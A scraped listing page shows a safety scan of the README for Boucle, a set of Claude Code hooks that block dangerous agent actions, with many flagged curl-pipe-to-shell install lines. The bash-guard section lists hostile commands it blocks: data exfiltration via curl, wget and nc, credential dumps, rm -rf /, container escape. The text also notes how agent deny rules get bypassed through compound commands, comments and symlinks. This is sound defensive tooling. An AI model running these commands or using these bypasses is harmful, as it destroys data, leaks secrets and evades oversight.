Skip to content
Back to search

Boucle-framework

Autonomous agent framework with structured memory, safety hooks, and loop management. Built by the agent that runs on it.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

Its scripts were only partly scanned.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/Bande-a-Bonnot/Boucle-framework with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/Bande-a-Bonnot/Boucle-framework'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/bande-a-bonnot--boucle-framework/badge.svg)](/listings/bande-a-bonnot--boucle-framework)

HTML

<a href="/listings/bande-a-bonnot--boucle-framework"><img src="/api/listings/bande-a-bonnot--boucle-framework/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Option 1: Download a binary

Grab the latest release from [GitHub Releases](https://github.com/Bande-a-Bonnot/Boucle-framework/releases).

# macOS (Apple Silicon)
tar xzf boucle-*-aarch64-apple-darwin.tar.gz
mv boucle /usr/local/bin/

Option 2: Build from source

git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
cd Boucle-framework
cargo build --release
export PATH="$PWD/target/release:$PATH"

Run your first agent

# Create a clean agent directory
mkdir my-agent
cd my-agent

# Initialize a new agent
boucle init --name my-agent

# Check your setup
boucle doctor

# Preview what happens (no LLM needed)
boucle run --dry-run

# Run one iteration (requires the configured LLM CLI)
boucle run

# Set up hourly execution
boucle schedule --interval 1h

`boucle init` writes `agent.model = "gpt-5.4"` by default, which uses the Codex CLI. To run through Claude instead, set `agent.model` to a Claude model name such as `claude-sonnet-4-20250514`.

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 1,009 lines · 24 findings marked

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. # Boucle
  2. [![Tests](https://github.com/Bande-a-Bonnot/Boucle-framework/actions/workflows/test.yml/badge.svg)](https://github.com/Bande-a-Bonnot/Boucle-framework/actions/workflows/test.yml)
  3. [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
  4. Claude Code hooks that actually enforce your rules. 7 standalone hooks, plus `enforce-hooks` for CLAUDE.md policy, audit tooling, 1,900+ tests, and a [searchable Claude Code gaps corpus](https://framework.boucle.sh/limitations.html) with severity ratings and workarounds.
  5. > **Quick links:** [First test](tools/safety-check/FIRST_TEST.md) · [Isolated first-test recipe](https://framework.boucle.sh/recipes.html#isolated-first-test) · [First safety audit](https://framework.boucle.sh/recipes.html#first-audit) · [Temporary hook trial](https://framework.boucle.sh/recipes.html#temporary-trial) · [Check your setup](#check-your-setup) · [Install hooks](#install-hooks) · [Windows native setup](https://framework.boucle.sh/recipes.html#windows-native) · [Known limitations](https://framework.boucle.sh/limitations.html) · [JSON export](https://framework.boucle.sh/limitations.json) · [Quickstart](tools/safety-check/QUICKSTART.md) · [Triage](tools/safety-check/TRIAGE.md) · [README badge](tools/safety-check/BADGE.md) · [Failed verification](https://framework.boucle.sh/recipes.html#verification-failed) · [Manual settings edit](https://framework.boucle.sh/recipes.html#manual-settings-edit) · [Secret pre-push](https://framework.boucle.sh/recipes.html#secret-pre-push) · [Nested Claude billing](https://framework.boucle.sh/recipes.html#nested-claude-billing) · [Write coverage canary](https://framework.boucle.sh/recipes.html#write-coverage-canary) · [Custom hook test](tools/test-hook.md) · [Autonomous session preflight](https://framework.boucle.sh/recipes.html#autonomous-session) · [After Claude Code updates](https://framework.boucle.sh/recipes.html#after-update) · [Resumed session recheck](https://framework.boucle.sh/recipes.html#resumed-session) · [MCP/plugin update](https://framework.boucle.sh/recipes.html#mcp-plugin-update) · [CI checks](tools/safety-check/CI.md) · [Team handoff](tools/safety-check/TEAM_HANDOFF.md) · [Update checklist](tools/safety-check/UPDATE_CHECKLIST.md) · [Safe support evidence](tools/safety-check/SUPPORT_EVIDENCE.md) · [Support examples](tools/safety-check/SUPPORT_EXAMPLES.md) · [Read-only audit](https://framework.boucle.sh/recipes.html#read-only-audit) · [Audit trail](https://framework.boucle.sh/recipes.html#audit-trail) · [Individual hooks](#individual-hooks) · [Platform support](#platform-support) · [Recommended Claude Code version](#recommended-claude-code-version) · [Troubleshooting](#troubleshooting) · [Boucle Framework](#boucle-framework) (optional, for autonomous agents)
  6. ## Claude Code Hooks
  7. Claude Code's CLAUDE.md rules are [read but not enforced](https://github.com/anthropics/claude-code/issues/37550) - they work at session start and degrade as context grows. Its [permission system has known gaps](https://github.com/anthropics/claude-code/issues/30519) - wildcards don't match compound commands, deny rules [don't check pipe segments](https://github.com/anthropics/claude-code/issues/41559) and can be [bypassed with multi-line comments](https://github.com/anthropics/claude-code/issues/38119). These hooks enforce covered tool-call boundaries that text rules and permissions often miss.
  8. **What happens when a hook blocks a dangerous command:**
  9. ```
  10. Claude tries: rm -rf ~/projects
  11. bash-guard: bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss.
  12. Claude sees: ⚠ Hook blocked this action. Suggesting safer alternative...
  13. ```
  14. No prompts, no "are you sure" dialogs. The command never runs.
  15. **First 10 minutes:**
  16. 1. If you want to avoid reading your real Claude Code settings first, run the
  17. [temporary first test](tools/safety-check/FIRST_TEST.md).
  18. 2. Run the audit from the same project root where you start Claude Code.
  19. 3. If the summary says `no hooks found`, `0 payload checks`, or `FAIL-OPEN`,
  20. install the recommended hook set.
  21. 4. Run verification with `--verify --strict`.
  22. 5. Start a fresh Claude Code session from that same root. If you need help,
  23. share only the bounded `Safety Summary (copy/paste)` block.
  24. <a id="check-your-setup"></a>
  25. **Check your current setup from the project root:**
  26. Run this from the same project root where you start Claude Code. Project hooks
  27. are resolved from the current directory, so a subdirectory launch can miss
  28. `.claude/settings.json` at the repo root. If you are inside a git checkout,
  29. move to the repo root first; otherwise stay in the project directory you use for
  30. Claude Code:
  31. ```sh
  32. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  33. cd "$repo_root"
  34. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 48 on GitHub
  35. ```
  36. Audit boundary: this downloads `tools/safety-check/check.sh` from GitHub raw
  37. content and runs it locally on your current project and Claude Code settings.
  38. The checker does not upload your `settings.json`, hook files, shell history,
  39. repository contents, session logs, or safety summary output.
  40. Scores your Claude Code safety configuration from A to F and shows one-liner fixes for each gap. Add `--verify` to send representative hook payloads to installed `PreToolUse` hooks and confirm they actually block covered cases. Other hook events are inventoried and reported, but skipped for payload verification because they do not receive `PreToolUse` tool payloads. Verification invokes the hook scripts with Claude-style JSON input; it does not execute the dangerous shell or git commands named in those payloads:
  41. ```sh
  42. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  43. cd "$repo_root"
  44. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 61 on GitHub
  45. ```
  46. For CI or a scripted workstation check, fail when verification finds a
  47. `FAIL-OPEN` hook, broken hook files, skipped `PreToolUse` checks, no hooks, or
  48. no payload checks:
  49. ```sh
  50. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  51. cd "$repo_root"
  52. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 71 on GitHub
  53. ```
  54. Use the [scripted checks guide](tools/safety-check/CI.md) for GitHub Actions,
  55. developer workstation checks, exit codes, and the limits of what CI can prove.
  56. After a reproducible `--verify` run, the [README badge guide](tools/safety-check/BADGE.md)
  57. shows how to publish the self-reported tier without sharing private settings or
  58. hook commands. The badge is not a certification, and it should be removed when
  59. the same tier cannot be reproduced locally.
  60. Checks hook installation, hook health (missing/non-executable scripts), live verification (builds Claude-style JSON payloads for cases such as `rm -rf /` and `git push --force`, invokes the configured hook scripts, and confirms they block), enforce-hooks and CLAUDE.md `@enforced` rules, environment issues (IS_DEMO, JSONC settings, jq/python3 dependencies, Windows hook reliability), and known CLI version regressions. Scans both user-level (`~/.claude/settings.json`) and project-level (`.claude/settings.json`) settings, with a hook inventory that shows custom/third-party hooks alongside framework hooks. The summary counts 8 framework hook slots because it includes the `enforce-hooks` policy hook; `install.sh all` installs the 7 standalone hooks listed below. Also warns when deny rules are configured without bash-guard, since deny patterns [can be bypassed](https://github.com/anthropics/claude-code/issues/38119) by compound commands and multi-line scripts. No hook installation required for the audit. Covered by hundreds of tests.
    • Dismissed after review: Runs `rm -rf` against a root or home-directory path
    • Line 82 on GitHub
  61. For a 10-minute path from audit to verified hooks, see the [safety-check quickstart](tools/safety-check/QUICKSTART.md).
  62. If verification fails, use the [failed verification recipe](https://framework.boucle.sh/recipes.html#verification-failed)
  63. or the detailed [safety summary triage](tools/safety-check/TRIAGE.md) table
  64. before trusting the current session.
  65. After manual settings or hook edits, use the
  66. [manual settings edit recipe](https://framework.boucle.sh/recipes.html#manual-settings-edit)
  67. to validate both settings files, run doctor, and strictly re-verify from the
  68. same project root before restarting Claude Code.
  69. After Claude Code updates itself, use the
  70. [post-update recheck recipe](https://framework.boucle.sh/recipes.html#after-update)
  71. or the longer [update checklist](tools/safety-check/UPDATE_CHECKLIST.md) before
  72. trusting hooks in a fresh session.
  73. If you resumed an old conversation or kept Claude Code open while settings,
  74. hooks, plugins, or permissions changed, use the
  75. [resumed session recheck recipe](https://framework.boucle.sh/recipes.html#resumed-session)
  76. before relying on the existing session.
  77. If a session or nested `claude -p` call unexpectedly uses API credits while you
  78. expected subscription/OAuth auth, use the
  79. [nested Claude billing recipe](https://framework.boucle.sh/recipes.html#nested-claude-billing)
  80. to check for `ANTHROPIC_API_KEY` inheritance before starting autonomous work.
  81. If you want to try the checker before it reads your real Claude Code settings,
  82. use the [temporary first test](tools/safety-check/FIRST_TEST.md) or the
  83. [isolated first-test recipe](https://framework.boucle.sh/recipes.html#isolated-first-test).
  84. That path downloads `check.sh` from GitHub raw content, runs locally inside a
  85. temporary `HOME` and temporary project, and uploads no settings, hook files,
  86. shell history, repository contents, or summary output.
  87. If you are trying hooks on a borrowed machine, client repository, CI runner, or
  88. other temporary environment, use the
  89. [temporary hook trial recipe](https://framework.boucle.sh/recipes.html#temporary-trial)
  90. to back up settings, install the smallest useful set, run doctor, verify,
  91. uninstall, and confirm cleanup before leaving the environment.
  92. If you need to ask for help, use the [safe support evidence guide](tools/safety-check/SUPPORT_EVIDENCE.md)
  93. to share the summary block without exposing private settings or secrets. To
  94. print only that bounded public block, run:
  95. ```sh
  96. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  97. cd "$repo_root"
  98. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 122 on GitHub
  99. ```
  100. For examples of safe public reports and unsafe snippets to avoid, see
  101. [safe support examples](tools/safety-check/SUPPORT_EXAMPLES.md).
  102. For PR comments, incident notes, or teammate reviews, use the
  103. [team handoff report](tools/safety-check/TEAM_HANDOFF.md) to record the command
  104. used, root checked, verification result, residual warnings, and recheck trigger.
  105. For upstream Claude Code hook and permission gaps, use the
  106. [searchable limitations page](https://framework.boucle.sh/limitations.html),
  107. the [machine-readable JSON export](https://framework.boucle.sh/limitations.json),
  108. or the [Atom feed](https://framework.boucle.sh/limitations-feed.xml).
  109. <a id="install-hooks"></a>
  110. **macOS / Linux requirements:** bash, python3, and jq. The installer uses
  111. python3 to manage Claude Code `settings.json`, safety-check uses python3 for
  112. its audit, and most standalone shell hooks use jq to parse Claude Code hook
  113. payloads.
  114. Install boundary: these commands download `tools/install.sh` or
  115. `tools/install.ps1` from GitHub raw content and run it locally. Installing adds
  116. managed hook files under `~/.claude/<hook-name>/` (`hook.sh` on macOS/Linux,
  117. `hook.ps1` on native Windows) and updates `~/.claude/settings.json`; project
  118. settings are inspected from the project root when you verify, check, or run
  119. doctor. The installer does not upload your settings, hook files, shell history,
  120. repository contents, or safety summary output.
  121. **Start with the essentials** (bash-guard + git-safe + file-guard):
  122. ```sh
  123. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  124. cd "$repo_root"
  125. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 156 on GitHub
  126. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 157 on GitHub
  127. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 158 on GitHub
  128. ```
  129. These three hooks form the safety net every Claude Code user should have:
  130. block dangerous commands, prevent destructive git operations, and protect
  131. sensitive files. The installer verifier sends representative payloads to the
  132. installed hooks and confirms the expected blocks. Then run the safety check
  133. above with `--verify --strict` when you need the broader audit summary,
  134. environment warnings, project-settings inventory, and fail-closed exit status.
  135. After a clean verification, start a fresh Claude Code session from that same
  136. project root before relying on newly installed or upgraded hooks; an existing
  137. session may have loaded the previous settings or hook files.
  138. **If the install succeeds but hooks do not block anything:**
  139. - Run `install.sh doctor` first (`install.ps1 doctor` on Windows). It catches missing files, bad permissions, JSONC in `settings.json`, and other silent fail-open states.
  140. - Run `install.sh check --verify --strict` next on macOS/Linux (`install.ps1 verify` on native Windows). A clean install is not proof the hooks are firing.
  141. - On Windows, use PowerShell 7 (`pwsh`), not Windows PowerShell 5.
  142. - If you write custom deny hooks, prefer `stderr` + `exit 2` for hard blocks. JSON `permissionDecision: "deny"` is still inconsistent across Claude Code surfaces.
  143. **Install all hooks at once:**
  144. ```sh
  145. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  146. cd "$repo_root"
  147. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 183 on GitHub
  148. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 184 on GitHub
  149. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 185 on GitHub
  150. ```
  151. **Windows (PowerShell 7+)** - native PS1 hooks, no bash or jq required. Requires [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), not the built-in Windows PowerShell 5. Start with the same recommended safety set:
  152. ```powershell
  153. $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null }
  154. if ($root) { Set-Location $root }
  155. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended"
  156. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
  157. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
  158. ```
  159. Or install all standalone hooks at once:
  160. ```powershell
  161. $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null }
  162. if ($root) { Set-Location $root }
  163. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
  164. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
  165. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
  166. ```
  167. **Manage hooks:**
  168. Run management commands from the same project root where you start Claude Code
  169. when the command verifies, audits, diagnoses, or cleans up project settings.
  170. That keeps project `.claude/settings.json` hooks visible to `verify`, `check`,
  171. and `doctor`:
  172. ```sh
  173. repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)"
  174. cd "$repo_root"
  175. # See what's installed
  176. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 220 on GitHub
  177. # Test all installed hooks with representative payloads (run after CC updates)
  178. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 223 on GitHub
  179. # Upgrade all installed hooks to latest
  180. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 226 on GitHub
  181. # Snapshot settings.json before updating Claude Code or starting a reversible trial
  182. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 229 on GitHub
  183. # Remove a hook (files + settings.json)
  184. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 232 on GitHub
  185. # Remove all hooks
  186. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 235 on GitHub
  187. # See available settings.json backups before restoring after an update or trial
  188. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup list
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 238 on GitHub
  189. # Restore a specific backup after inspecting the list, for example after a trial
  190. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore settings.20260101_120000.json
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 241 on GitHub
  191. # Restore the most recent backup only if you meant it
  192. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 244 on GitHub
  193. # Verify cleanup on borrowed machines, client repos, or CI runners
  194. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 247 on GitHub
  195. # Run safety audit on your Claude Code setup
  196. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check
  197. # Print only the public support summary
  198. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --summary-only
  199. # Run strict safety audit with hook payload verification
  200. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict
  201. # Generate a self-reported README badge after verification
  202. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --badge
  203. # Diagnose installation health (files, settings, permissions)
  204. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
  205. # Show all commands and available hooks
  206. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help
  207. ```
  208. **Windows equivalents** (PowerShell syntax):
  209. ```powershell
  210. # List, verify, upgrade, check, uninstall, doctor, backup/restore, help
  211. $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null }
  212. if ($root) { Set-Location $root }
  213. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list"
  214. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
  215. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade"
  216. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup"
  217. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check"
  218. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --summary-only"
  219. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict"
  220. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --badge"
  221. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
  222. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once"
  223. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall all"
  224. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup list"
  225. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore settings.20260101_120000.json"
  226. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore"
  227. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
  228. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help"
  229. ```
  230. `install.ps1 verify` and `install.ps1 doctor` use native PowerShell hooks. The
  231. `install.ps1 check` command runs the bash-based safety-check audit, so it needs
  232. Git Bash, WSL, or another `bash` on PATH.
  233. After `uninstall all`, `install.ps1 verify` should report that no hooks are
  234. installed. For restores, run `backup list` first, restore a named backup when
  235. possible, and use bare `restore` only when the most recent backup is the exact
  236. snapshot you want.
  237. <a id="individual-hooks"></a>
  238. Or pick individual hooks:
  239. ### [read-once](tools/read-once/) - Stop redundant file reads
  240. ```sh
  241. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash
  242. ```
  243. Saves ~2000 tokens per prevented re-read. Includes [diff mode](tools/read-once/README.md#diff-mode-opt-in) for edit-verify-edit workflows (80-95% token savings on changed files).
  244. ### [file-guard](tools/file-guard/) - Protect files from AI access or modification
  245. ```sh
  246. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash
  247. ```
  248. Define protected files in `.file-guard` (one pattern per line). Two modes: **write-protect** (default) blocks writes, edits, and destructive bash commands. **`[deny]`** blocks all access including Read, Grep, and Glob, useful for large codegen directories where Claude should use an MCP server instead of reading files directly. Resolves symlinks to prevent [bypass via symbolic links](https://github.com/anthropics/claude-code/security/advisories/GHSA-4q92-rfm6-2cqx). Handles absolute paths (v2.1.89+ compatibility). ~140 tests (bash + PowerShell).
  249. ### [git-safe](tools/git-safe/) - Prevent destructive git operations
  250. ```sh
  251. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash
  252. ```
  253. Blocks `git push --force`, `git reset --hard`, `git checkout .`, `git checkout HEAD -- path`, `git restore`, `git clean -f`, `git branch -D`, `--no-verify`, and other destructive git commands. Prevents the [exact pattern](https://github.com/anthropics/claude-code/issues/37888) that destroyed 30+ files despite 100+ CLAUDE.md rules. Suggests safer alternatives. Allowlist via `.git-safe` config. ~145 tests (88 bash + 57 PowerShell).
  254. ### [bash-guard](tools/bash-guard/) - Block dangerous bash commands
  255. ```sh
  256. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash
  257. ```
  258. Blocks dangerous commands across these categories:
  259. - **File destruction** -- `rm -rf /`, `shred`, `truncate -s 0`, mass delete (`find -delete`, `xargs rm`, `git clean -f`)
    • Dismissed after review: Runs `rm -rf` against a root or home-directory path
    • Line 336 on GitHub
  260. - **Privilege escalation** -- `sudo`, `pkexec`, `doas`, pipe-to-shell (`curl|bash`)
  261. - **Disk utilities** -- `diskutil eraseDisk`/`eraseVolume`/`partitionDisk`, `fdisk`, `gdisk`, `parted`, `wipefs` ([#37984](https://github.com/anthropics/claude-code/issues/37984): 87GB personal data destroyed)
  262. - **Database destruction** -- `DROP TABLE`, `prisma db push`, `dropdb`, `migrate:fresh`, `FLUSHALL`, and [10+ ORM variants](tools/bash-guard/)
  263. - **Credential exposure** -- `env`/`printenv`, `bash -x`, `cat .env`, SSH keys, [programmatic dumps](tools/bash-guard/) (`os.environ`, `process.env`)
  264. - **Data exfiltration** -- `curl -d @file`, `wget --post-file`, `nc host < file`
  265. - **Cloud infrastructure** -- `terraform destroy`, `kubectl delete/drain/scale-to-zero`, `helm uninstall`, `aws ec2 terminate`/`rds delete`/`cloudformation delete-stack`, `az group delete`, `doctl destroy`, `flyctl destroy`, `heroku apps:destroy`, `vercel rm`, `netlify sites:delete`
  266. - **Docker** -- container escape (`-v /:/host`), data destruction (`compose down -v`)
  267. - **System databases** -- sqlite3 on IDE internals ([#37888](https://github.com/anthropics/claude-code/issues/37888): 59 commands corrupted VSCode)
  268. - **Mount points** -- `rm -rf` on NFS/shared storage ([#36640](https://github.com/anthropics/claude-code/issues/36640))
  269. - **Git** -- `git push --force`, `git filter-branch` ([#37331](https://github.com/anthropics/claude-code/issues/37331): all files deleted via force push)
  270. Evaluates each segment of compound commands. Catches [multi-line comment bypass](https://github.com/anthropics/claude-code/issues/38119) where comment lines before a dangerous command evade deny rules. Detects encoding bypass attempts (base64/hex/octal obfuscation), here-string/here-doc redirection, eval-string injection, [workaround bypass attempts](https://github.com/anthropics/claude-code/issues/34358), library injection (LD_PRELOAD), wrapper command bypass, credential file operations, macOS Keychain access, scheduled task persistence, and service management. Allowlist via `.bash-guard` config. 612 verified bash tests, with additional PowerShell coverage when `pwsh` is available.
  271. ### [branch-guard](tools/branch-guard/) - Enforce feature-branch workflow
  272. ```sh
  273. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash
  274. ```
  275. Prevents direct commits to protected branches (main, master, production, release). Forces feature-branch workflow. Customize protected branches via `.branch-guard` config or `BRANCH_GUARD_PROTECTED` env var. Allows `--amend` on any branch. ~55 tests (bash + PowerShell).
  276. ### [worktree-guard](tools/worktree-guard/) - Prevent data loss from worktree exit
  277. ```sh
  278. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash
  279. ```
  280. When you use `claude -w`, exiting the session [silently deletes](https://github.com/anthropics/claude-code/issues/38287) the worktree branch and all its commits. This hook blocks exit when there are uncommitted changes, untracked files, unmerged commits, or unpushed commits. Uses `ExitWorktree` matcher so it only runs when actually leaving a worktree. The unpushed check reads local upstream refs, so run `git fetch --prune --quiet` before relying on it as final reachability proof. Config via `.worktree-guard`. ~65 tests (bash + PowerShell).
  281. ### [session-log](tools/session-log/) - Audit trail for Claude Code sessions
  282. ```sh
  283. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash
  284. ```
  285. Logs routed PostToolUse events to `~/.claude/session-logs/YYYY-MM-DD.jsonl`: covered files read/written, commands run, and timestamps. Includes `--week` trend comparison across days. Useful for auditing autonomous sessions and debugging within the hook surfaces Claude Code actually emits. ~105 tests (bash + PowerShell).
  286. ### [enforce-hooks](tools/enforce/) - Turn CLAUDE.md rules into enforceable hooks
  287. ```sh
  288. curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash
  289. ```
  290. Install boundary: this downloads `tools/enforce/install.sh` and
  291. `tools/enforce/enforce-hooks.py` from GitHub raw content, then runs them
  292. locally in the current project. It may create `CLAUDE.md`, install
  293. `.claude/hooks/enforce-hooks.py`, update project `.claude/settings.json`, and
  294. add armor rules for the generated hook files. It does not upload your
  295. `CLAUDE.md`, settings, hook files, shell history, repository contents, or audit
  296. output.
